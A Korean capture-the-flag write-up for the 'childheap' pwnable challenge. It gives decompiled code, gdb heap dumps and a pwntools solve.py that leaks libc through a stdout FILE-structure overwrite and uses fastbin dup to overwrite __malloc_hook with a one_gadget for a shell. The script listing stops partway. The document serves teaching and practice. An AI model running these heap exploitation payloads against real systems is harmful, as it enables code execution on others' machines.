Source
https://github.com/koharin/pwnable2/tree/main/hackCTF/pwnable/childheap
환경
- Ubuntu 16.04 LTS
- Ubuntu GLIBC 2.23-0ubuntu11.3
checksec
checksec ./childheap [*] '/home/ubuntu/study/childheap/childheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
Decompiled-src / Analysis
main
프로그램을 실행시키면,
- malloc
- free
딱 2가지 메뉴밖에 존재하지 않는다.
int menu() { puts("1. malloc"); puts("2. free"); return printf("> "); } int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int v3; // [rsp+Ch] [rbp-4h] Init(argc, argv, envp); while ( 1 ) { while ( 1 ) { menu(); v3 = input_number(); if ( v3 != 1 ) break; Malloc(); } if ( v3 != 2 ) exit(0); Free(); } }
1. Malloc
인덱스 0~3개까지, 크기는 0x80보다 크면 안된다는 조건하에
메모리를 할당시킨 슬롯을 저장할 수 있다.
할당시킨 크기만큼 content 데이터 또한 입력받을 수 있다.
unsigned __int64 Malloc() { signed int v0; // ebx signed int v2; // [rsp+0h] [rbp-20h] BYREF signed int v3; // [rsp+4h] [rbp-1Ch] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-18h] v4 = __readfsqword(0x28u); printf("index: "); __isoc99_scanf("%d", &v2); if ( (unsigned int)v2 > 4 ) exit(1); printf("size: "); __isoc99_scanf("%d", &v3); if ( (unsigned int)v3 > 0x80 ) exit(1); v0 = v2; *(&ptr + v0) = malloc(v3); if ( !*(&ptr + v2) ) exit(1); printf("content: "); read(0, *(&ptr + v2), v3); return __readfsqword(0x28u) ^ v4; }
2. Free
인덱스 0~3개 중 할당된 하나의 슬롯 주소를 Free시킬 수 있다.
unsigned __int64 Free() { unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); printf("index: "); __isoc99_scanf("%d", &v1); if ( v1 > 4 ) exit(1); free(*(&ptr + (int)v1)); return __readfsqword(0x28u) ^ v2; }
Solution
1. unsorted bin 하나 만들기
추후 unsorted bin 병합을 막기 위해 fastbin 0x60 크기의 heap을 먼저 생성한다.
# 추후 unsorted bin 병합을 막기 위해 fastbin 크기의 heap을 먼저 생성한다. malloc(0, 0x60, b'A'*8)
이후에 unsorted bin 크기를 하나 만들기 위해 0x80 크기의 heap 생성.
# unsorted bin 크기인 0x80 크기의 heap 생성. malloc(1, 0x80, b'B'*8)
병합을 막기 위해 한번더 fastbin 0x60 크기의 heap을 생성한다.
# 병합을 막기 위해 한번더 fastbin 0x60 크기의 heap을 생성한다. malloc(2, 0x60, b'A'*8)
이제 1번째 인덱스의 힙을 free 시키면, unsorted bin을 만들어줄 수 있다.
free(1)
unsorted bin 하나가 만들어졌고, (0x45f6070)
특성상 fd, bk에 main_arena+88 주소가 적혀있다.
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x45f6170 (size : 0x20e90) last_remainder: 0x0 (size : 0x0) unsortbin: 0x45f6070 (size : 0x90) gdb-peda$ parseheap addr prev size status fd bk 0x45f6000 0x0 0x70 Used None None 0x45f6070 0x0 0x90 Freed 0x7ff5a93e4b78 0x7ff5a93e4b78 0x45f6100 0x90 0x70 Used None None gdb-peda$ x/8gx 0x45f6070 0x45f6070: 0x0000000000000000 0x0000000000000091 0x45f6080: 0x00007ff5a93e4b78 0x00007ff5a93e4b78 0x45f6090: 0x0000000000000000 0x0000000000000000 0x45f60a0: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/gx 0x00007ff5a93e4b78 0x7ff5a93e4b78 <main_arena+88>: 0x00000000045f6170
2. 1/16 확률로 stdout 지점을 overwrite 하기
이전에 fd, bk에 main_arena+88 주소를 언급했던 청크에다가
fd에 ?5dd로 덮는다. 여기서 임시로 ?는 0~f까지 1/16 확률의 갠또로
_IO_2_1_stderr+157 주소로 때려맞출 수 있다.
여기서는 85dd로 덮었다.
malloc(1, 0x60, p16(0x85dd)) #0x7f39b9fc85dd <_IO_2_1_stderr_+157>
35dd로 덮는 이유는 추후 청크에서 할당받는 주소를 그 지점으로 해두기 위해서다.
보다시피 main_arena+88과 offset 차이가 얼마나지 않는다.
아래 디버깅 화면은 85dd로 덮기 바로 직전의 장면이다.
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x1b620170 (size : 0x20e90) last_remainder: 0x0 (size : 0x0) unsortbin: 0x1b620070 (size : 0x90) gdb-peda$ parseheap addr prev size status fd bk 0x1b620000 0x0 0x70 Used None None 0x1b620070 0x0 0x90 Freed 0x7f39b9fc7b78 0x7f39b9fc7b78 0x1b620100 0x90 0x70 Used None None gdb-peda$ x/16gx 0x1b620070 0x1b620070: 0x0000000000000000 0x0000000000000091 0x1b620080: 0x00007f39b9fc7b78 0x00007f39b9fc7b78 gdb-peda$ p stdout $2 = (struct _IO_FILE *) 0x7f39b9fc8620 <_IO_2_1_stdout_> gdb-peda$ x/16gx 0x7f39b9fc8620-0x43 0x7f39b9fc85dd <_IO_2_1_stderr_+157>: 0x39b9fc7660000000 0x000000000000007f 0x7f39b9fc85ed <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000 0x7f39b9fc85fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000 0x7f39b9fc860d <_IO_2_1_stderr_+205>: 0x0000000000000000 0x39b9fc66e0000000 0x7f39b9fc861d <_IO_2_1_stderr_+221>: 0x00fbad288700007f 0x39b9fc86a3000000 0x7f39b9fc862d <_IO_2_1_stdout_+13>: 0x39b9fc86a300007f 0x39b9fc86a300007f 0x7f39b9fc863d <_IO_2_1_stdout_+29>: 0x39b9fc86a300007f 0x39b9fc86a300007f 0x7f39b9fc864d <_IO_2_1_stdout_+45>: 0x39b9fc86a300007f 0x39b9fc86a300007f gdb-peda$ info address _IO_2_1_stderr_ Symbol "_IO_2_1_stderr_" is static storage at address 0x7f39b9fc8540. gdb-peda$ p/x 0x7f39b9fc8540+157 $6 = 0x7f39b9fc85dd
35dd는 어느 지점을 가리키고 있을까 궁금해서
임시로 0x4142434445464748 값을 덮어써서 확인해봤는데struct _IO_FILE_plus *
구조체의 _codecvt
필드 위치의 하위 3바이트쪽부터 덮어써진다.
gdb-peda$ set {unsigned long long}0x7f39b9fc85dd = 0x4142434445464748 gdb-peda$ p *(struct _IO_FILE_plus *)0x7f39b9fc8540 $10 = { file = { _flags = 0xfbad2086, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f39b9fc8620 <_IO_2_1_stdout_>, _fileno = 0x2, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7f39b9fc9770 <_IO_stdfile_2_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x4647480000000000, _wide_data = 0x7f4142434445, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f39b9fc66e0 <_IO_file_jumps> }
다음으로, fastbin dup을 트리거한다.
0x60크기로 힙을 할당하고
malloc(3, 0x60, b'C'*8)
fastbin dup을 트리거한다.
free(3) free(0) free(3)
그러면 0x70 크기를 관리하는 fastbin 청크에 overlap이 발생한다.
다음번에 0x60크기로 힙 할당할때 0x1277170 청크로 할당받을 것이다.
gdb-peda$ parseheap addr prev size status fd bk 0x1277000 0x0 0x70 Freed 0x1277170 None 0x1277070 0x0 0x70 Used None None 0x12770e0 0x0 0x20 Freed 0x7f94d4f26b88 0x7f94d4f26b88 0x1277100 0x20 0x70 Used None None 0x1277170 0x0 0x70 Freed 0x1277000 None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x1277170 --> 0x1277000 --> 0x1277170 (overlap chunk with 0x1277170(freed) ) (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x12771e0 (size : 0x20e20) last_remainder: 0x12770e0 (size : 0x20) unsortbin: 0x0 (0x020) smallbin[ 0]: 0x12770e0
0x60 크기로 힙을 할당하고, stdout fake chunk에 0x70값을 적어주었다.
malloc(0, 0x60, p8(0x70))
그러면 (0x70) fastbin[5]
리스트를 살펴봤을때
4번째부터 0x7f94d4f285dd, 즉 IO_2_1_stderr+157 지점을 가리키고 있다.
즉 0x60크기로 힙 할당을 4번째로 할당받는 시점에는 0x7f94d4f285dd 청크로 할당받게 될 것이다.
gdb-peda$ parseheap addr prev size status fd bk 0x1277000 0x0 0x70 Freed 0x1277170 None 0x1277070 0x0 0x70 Freed 0x7f94d4f285dd None 0x12770e0 0x0 0x20 Freed 0x7f94d4f26b88 0x7f94d4f26b88 0x1277100 0x20 0x70 Used None None 0x1277170 0x0 0x70 Freed 0x1277070 None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x1277000 --> 0x1277170 --> 0x1277070 --> 0x7f94d4f285dd (size error (0x0)) --> 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x12771e0 (size : 0x20e20) last_remainder: 0x12770e0 (size : 0x20) unsortbin: 0x0 (0x020) smallbin[ 0]: 0x12770e0 gdb-peda$
0x60 크기로 힙을 3번 정도 할당하고나면,
이제부터 IO_2_1_stderr+157 청크로 할당받을 수 있다.
할당받고나서 변조할 수 있는 부분은 _IO_2_1_stderr+157+16이다.
브루트포싱으로 1/16 확률로 변조할 수 있게 만든다.
while True: p = process("./childheap") # ... malloc(1, 0x60, b'D'*8) malloc(2, 0x60, b'D'*8) malloc(3, 0x60, b'D'*8) # stdout을 덮기 payload = b'A'*51 + p64(0xfbad1800) + p64(0)*3 + p8(0) try: malloc(4, 0x60, payload) pause() except: p.close() continue
해당 지점은 stderr
구조체의 _freeres_list
필드 중 하위 3바이트부터 덮어써진다.
gdb-peda$ p *(struct _IO_FILE_plus *)0x7f3c26cf8540 $2 = { file = { _flags = 0xfbad2086, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f3c26cf8620 <_IO_2_1_stdout_>, _fileno = 0x2, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7f3c26cf9770 <_IO_stdfile_2_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7f3c26cf7660 <_IO_wide_data_2>, _freeres_list = 0x4141410000000000, _freeres_buf = 0x4141414141414141, __pad5 = 0x4141414141414141, _mode = 0x41414141, _unused2 = 'A' <repeats 20 times> }, vtable = 0x4141414141414141 }
stderr 구조체 바로 뒤에는 stdout 구조체가 존재한다. 우리가 덮으려는 지점이 바로 그곳이다.
libc base 주소를 구하기 위해 stdout 구조체의 필드에 덮어지는 값은 다음과 같다.
_flags = 0xfad1800
_IO_read_ptr = 0
_IO_read_end = 0
_IO_read_base = 0 _IO_write_base = 0x????????….00
payload = b'A'*51 + p64(0xfbad1800) + p64(0)*3 + p8(0)
gdb-peda$ p stdout $4 = (struct _IO_FILE *) 0x7f3c26cf8620 <_IO_2_1_stdout_> gdb-peda$ x/16gx 0x7f3c26cf85f0 0x7f3c26cf85f0 <_IO_2_1_stderr_+176>: 0x4141414141414141 0x4141414141414141 0x7f3c26cf8600 <_IO_2_1_stderr_+192>: 0x4141414141414141 0x4141414141414141 0x7f3c26cf8610 <_IO_2_1_stderr_+208>: 0x4141414141414141 0x4141414141414141 0x7f3c26cf8620 <_IO_2_1_stdout_>: 0x00000000fbad1800 0x00007f3c26cf86a3 0x7f3c26cf8630 <_IO_2_1_stdout_+16>: 0x00007f3c26cf86a3 0x00007f3c26cf86a3 0x7f3c26cf8640 <_IO_2_1_stdout_+32>: 0x00007f3c26cf86a3 0x00007f3c26cf86a3 0x7f3c26cf8650 <_IO_2_1_stdout_+48>: 0x00007f3c26cf86a4 0x00007f3c26cf86a3 0x7f3c26cf8660 <_IO_2_1_stdout_+64>: 0x00007f3c26cf86a4 0x0000000000000000 gdb-peda$ p *(struct _IO_FILE_plus *)0x7f3c26cf8620 $5 = { file = { _flags = 0xfbad1800, _IO_read_ptr = 0x7f3c26cf86a3 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7f3c26cf86a3 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7f3c26cf86a3 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7f3c26cf86a3 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7f3c26cf86a3 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7f3c26cf86a4 <_IO_2_1_stdout_+132> "", _IO_buf_base = 0x7f3c26cf86a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7f3c26cf86a4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f3c26cf78e0 <_IO_2_1_stdin_>, _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "\n", _lock = 0x7f3c26cf9780 <_IO_stdfile_1_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7f3c26cf77a0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f3c26cf66e0 <_IO_file_jumps> }
3. leak을 통해 libc base 주소 구하기
여기까지 잘 진행했다면, _IO_2_1_stdin 주소가 leak될 것이다.
DEBUG] Received 0xb7 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000020 00 18 ad fb 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000040 00 86 17 5e 8b 7f 00 00 a3 86 17 5e 8b 7f 00 00 │···^│····│···^│····│ 00000050 a3 86 17 5e 8b 7f 00 00 a3 86 17 5e 8b 7f 00 00 │···^│····│···^│····│ 00000060 a4 86 17 5e 8b 7f 00 00 00 00 00 00 00 00 00 00 │···^│····│····│····│ 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000080 00 00 00 00 00 00 00 00 e0 78 17 5e 8b 7f 00 00 │····│····│·x·^│····│ 00000090 01 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff │····│····│····│····│ 000000a0 00 00 00 31 2e 20 6d 61 6c 6c 6f 63 0a 32 2e 20 │···1│. ma│lloc│·2. │ 000000b0 66 72 65 65 0a 3e 20 │free│·> │ 000000b7 [*] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x18û\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17^\x7f\x00\x00£\x17^\x7f\x00\x00£\x17^\x7f\x00\x00£\x17^\x7f\x00\x00¤\x17^\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00àx\x17^\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00ÿÿÿÿÿÿÿÿ\x00\x00\x001. malloc
leak된 주소에서 오프셋 계산하여 libc base 주소를 구해주면 된다.
leak = r() info(leak) leak = leak[0x88:0x88+8] leak = uu64(leak) info(hex(leak)) l.address = leak - l.sym._IO_2_1_stdin_ info(hex(l.address)) real_oneshot = l.address + 0xf1247 real_malloc = l.symbols['__malloc_hook'] real_free = l.symbols['__free_hook']
4. fastbin_dup 트리거해서 __malloc_hook 덮기
현재 힙 상태는 다음과 같다.
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x2aa1e1e0 (size : 0x20e20) last_remainder: 0x2aa1e0e0 (size : 0x20) unsortbin: 0x0 (0x020) smallbin[ 0]: 0x2aa1e0e0 gdb-peda$ parseheap addr prev size status fd bk 0x2aa1e000 0x0 0x70 Used None None 0x2aa1e070 0x0 0x70 Used None None 0x2aa1e0e0 0x0 0x20 Freed 0x7f60d6317b88 0x7f60d6317b88 0x2aa1e100 0x20 0x70 Used None None 0x2aa1e170 0x0 0x70 Used None None
다시한번 fastbin dup을 트리거해서 AAW하기 위해
0x60 크기로 힙을 2번 할당한다.
malloc_2(0, 0x60, b'A'*8) malloc(1, 0x60, b'A'*8)
gdb-peda$ parseheap addr prev size status fd bk 0x36491000 0x0 0x70 Used None None 0x36491070 0x0 0x70 Used None None 0x364910e0 0x0 0x20 Freed 0x7fdfa5877b88 0x7fdfa5877b88 0x36491100 0x20 0x70 Used None None 0x36491170 0x0 0x70 Used None None 0x364911e0 0x0 0x70 Used None None 0x36491250 0x0 0x70 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x364912c0 (size : 0x20d40) last_remainder: 0x364910e0 (size : 0x20) unsortbin: 0x0 (0x020) smallbin[ 0]: 0x364910e0
fastbindup을 트리거한다.
free(0) free(1) free(0)
트리거하면, 마찬가지로 overlap 발생.
gdb-peda$ parseheap addr prev size status fd bk 0x59f7000 0x0 0x70 Used None None 0x59f7070 0x0 0x70 Used None None 0x59f70e0 0x0 0x20 Freed 0x7fc87d417b88 0x7fc87d417b88 0x59f7100 0x20 0x70 Used None None 0x59f7170 0x0 0x70 Used None None 0x59f71e0 0x0 0x70 Freed 0x59f7250 None 0x59f7250 0x0 0x70 Freed 0x59f71e0 None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x59f71e0 --> 0x59f7250 --> 0x59f71e0 (overlap chunk with 0x59f71e0(freed) ) (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x59f72c0 (size : 0x20d40) last_remainder: 0x59f70e0 (size : 0x20) unsortbin: 0x0 (0x020) smallbin[ 0]: 0x59f70e0 gdb-peda$
4번째에 할당받을 주소는 malloc_hook – 35지점으로 한다.
malloc(0, 0x60, p64(real_malloc-35))
그럼 (0x70) fastbin[5]을 살펴봤을때 4번째 할당부터 0x7f4839f37aed 청크를 가리키고,
이는 malloc_hook 주소 근방임.
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x83fe250 --> 0x83fe1e0 --> 0x7f4839f37aed (size error (0x78)) --> 0x4839bf8ea0000000 (invaild memory) (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x83fe2c0 (size : 0x20d40) last_remainder: 0x83fe0e0 (size : 0x20) unsortbin: 0x0 (0x020) smallbin[ 0]: 0x83fe0e0
malloc_hook – 35지점으로 한 이유는 0x7f라는 chunk size가 유효하기 때문.
gdb-peda$ x/16gx 0x7fb29c267b10-35 0x7fb29c267aed <_IO_wide_data_0+301>: 0xb29c266260000000 0x000000000000007f 0x7fb29c267afd: 0xb29bf28ea0000000 0xb29bf28a7000007f 0x7fb29c267b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
5. 쉘 얻기
3번째 malloc부터 malloc_hook – 35지점인 0x7f17df3e7aed주소의 청크를 할당받기에
malloc_hook을 one_gadget 주소로 덮어주면 된다.
이후 다음 malloc 호출 시 쉘을 얻을 수 있다.
malloc(1, 0x60, b'B'*8) malloc(2, 0x60, b'B'*8) malloc(3, 0x60, b'C'*19+ p64(real_oneshot)) # Malloc 함수를 실행해 쉘을 딴다. p.sendlineafter('>', '1') p.sendlineafter(':', '2') ip() p.sendlineafter(b':', b'\x63') pi()
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x14b65250 --> 0x14b651e0 --> 0x7f17df3e7aed (size error (0x78)) --> 0x17df0a8ea0000000 (invaild memory) (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x14b652c0 (size : 0x20d40) last_remainder: 0x14b650e0 (size : 0x20) unsortbin: 0x0 (0x020) smallbin[ 0]: 0x14b650e
solve.py
#!/usr/bin/env python3 import sys, io sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace') sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8', errors='replace') from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') def malloc(idx, size, content): sla('>', '1') sla('index: ', str(idx)) sla('size: ', str(size)) sa(b'content: ', content) def malloc_2(idx, size, content): sl('1') sla('index: ', str(idx)) sla('size: ', str(size)) sa(b'content: ', content) def free(idx): sla('>', '2') sla('index: ', str(idx)) while True: p = process("./childheap") # p = remote("challenge.nahamcon.com", 31899) e = ELF('./childheap',checksec=False) l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # l = ELF('./libc.so.6', checksec=False) s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims: p.recvuntil(delims) uu32 = lambda data: u32(data.ljust(4, b"\x00")) uu64 = lambda data: u64(data.ljust(8, b"\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) ip = lambda: input() pi = lambda: p.interactive() # 추후 unsorted bin 병합을 막기 위해 fastbin 크기의 heap을 먼저 생성한다. malloc(0, 0x60, b'A'*8) # unsorted bin 크기인 0x80 크기의 heap 생성. malloc(1, 0x80, b'B'*8) # 병합을 막기 위해 한번더 fastbin 0x60 크기의 heap을 생성한다. malloc(2, 0x60, b'A'*8) # 4. heap1을 해제해 unsorted bin을 만들면 # FD, BK에 main_arena+88 주소가 적혀 있을 것이다. # gdb-peda$ parseheap # addr prev size status fd bk # 0x760f000 0x0 0x70 Used None None # 0x760f070 0x0 0x90 Freed 0x7f943dea9b78 0x7f943dea9b78 # 0x760f100 0x90 0x70 Used None None # gdb-peda$ x/32gx 0x760f070 # 0x760f070: 0x0000000000000000 0x0000000000000091 # 0x760f080: 0x00007f943dea9b78 0x00007f943dea9b78 # gdb-peda$ heapinfo # (0x20) fastbin[0]: 0x0 # (0x30) fastbin[1]: 0x0 # (0x40) fastbin[2]: 0x0 # (0x50) fastbin[3]: 0x0 # (0x60) fastbin[4]: 0x0 # (0x70) fastbin[5]: 0x0 # (0x80) fastbin[6]: 0x0 # (0x90) fastbin[7]: 0x0 # (0xa0) fastbin[8]: 0x0 # (0xb0) fastbin[9]: 0x0 # top: 0x760f170 (size : 0x20e90) # last_remainder: 0x0 (size : 0x0) # unsortbin: 0x760f070 (size : 0x90) # 5. main_arena와 stdout의 offset 차이가 얼마 나지 않는다. # gdb-peda$ p stdout # $5 = (struct _IO_FILE *) 0x7f39b9fc8620 <_IO_2_1_stdout_> # gdb-peda$ x/16gx 0x7f39b9fc8620-0x43 # 0x7f39b9fc85dd <_IO_2_1_stderr_+157>: 0x39b9fc7660000000 0x000000000000007f # 0x7f39b9fc85ed <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000 # 0x7f39b9fc85fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000 # 0x7f39b9fc860d <_IO_2_1_stderr_+205>: 0x0000000000000000 0x39b9fc66e0000000 # 0x7f39b9fc861d <_IO_2_1_stderr_+221>: 0x00fbad288700007f 0x39b9fc86a3000000 # 0x7f39b9fc862d <_IO_2_1_stdout_+13>: 0x39b9fc86a300007f 0x39b9fc86a300007f # 0x7f39b9fc863d <_IO_2_1_stdout_+29>: 0x39b9fc86a300007f 0x39b9fc86a300007f # 0x7f39b9fc864d <_IO_2_1_stdout_+45>: 0x39b9fc86a300007f 0x39b9fc86a300007f # gdb-peda$ info address _IO_2_1_stderr_ # Symbol "_IO_2_1_stderr_" is static storage at address 0x7f39b9fc8540. # gdb-peda$ p/x 0x7f39b9fc8540+157 # $6 = 0x7f39b9fc85dd # gdb-peda$ x/16gx 0x7f39b9fc8620-0x43 # 0x7f39b9fc85dd <_IO_2_1_stderr_+157>: 0x39b9fc7660000000 0x000000000000007f # 0x7f39b9fc85ed <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000 # 0x7f39b9fc85fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000 # 0x7f39b9fc860d <_IO_2_1_stderr_+205>: 0x0000000000000000 0x39b9fc66e0000000 # 0x7f39b9fc861d <_IO_2_1_stderr_+221>: 0x00fbad288700007f 0x39b9fc86a3000000 # 0x7f39b9fc862d <_IO_2_1_stdout_+13>: 0x39b9fc86a300007f 0x39b9fc86a300007f # 0x7f39b9fc863d <_IO_2_1_stdout_+29>: 0x39b9fc86a300007f 0x39b9fc86a300007f # 0x7f39b9fc864d <_IO_2_1_stdout_+45>: 0x39b9fc86a300007f 0x39b9fc86a300007f # gdb-peda$ p *(struct _IO_FILE_plus *)0x7f39b9fc8540 # $9 = { # file = { # _flags = 0xfbad2086, # _IO_read_ptr = 0x0, # _IO_read_end = 0x0, # _IO_read_base = 0x0, # _IO_write_base = 0x0, # _IO_write_ptr = 0x0, # _IO_write_end = 0x0, # _IO_buf_base = 0x0, # _IO_buf_end = 0x0, # _IO_save_base = 0x0, # _IO_backup_base = 0x0, # _IO_save_end = 0x0, # _markers = 0x0, # _chain = 0x7f39b9fc8620 <_IO_2_1_stdout_>, # _fileno = 0x2, # _flags2 = 0x0, # _old_offset = 0xffffffffffffffff, # _cur_column = 0x0, # _vtable_offset = 0x0, # _shortbuf = "", # _lock = 0x7f39b9fc9770 <_IO_stdfile_2_lock>, # _offset = 0xffffffffffffffff, # _codecvt = 0x0, # _wide_data = 0x7f39b9fc7660 <_IO_wide_data_2>, # _freeres_list = 0x0, # _freeres_buf = 0x0, # __pad5 = 0x0, # _mode = 0x0, # _unused2 = '\000' <repeats 19 times> # }, # vtable = 0x7f39b9fc66e0 <_IO_file_jumps> # } # fastbin 크기의 heap을 하나 생성하여 free(1) # 뒤에 2byte를 stdout을 overwrite 하기 위해 # fake chunk의 주소를 구해 넣어준다. # 앞에 0.5byte는 1/16의 확률로 Brute-Force 하면 나온다. # ip() malloc(1, 0x60, p16(0x85dd)) #0x7f39b9fc85dd <_IO_2_1_stderr_+157> # ip() # 6. fastbin dup을 발생시킨다. # heap을 할당하고 # ip() malloc(3, 0x60, b'C'*8) # fastbin dup 트리거 free(3) free(0) free(3) # 뒤에 1byte를 0x70으로 바꿔 # stdout fake chunk에 값을 적어줄 것이다 malloc(0, 0x60, p8(0x70)) malloc(1, 0x60, b'D'*8) malloc(2, 0x60, b'D'*8) malloc(3, 0x60, b'D'*8) 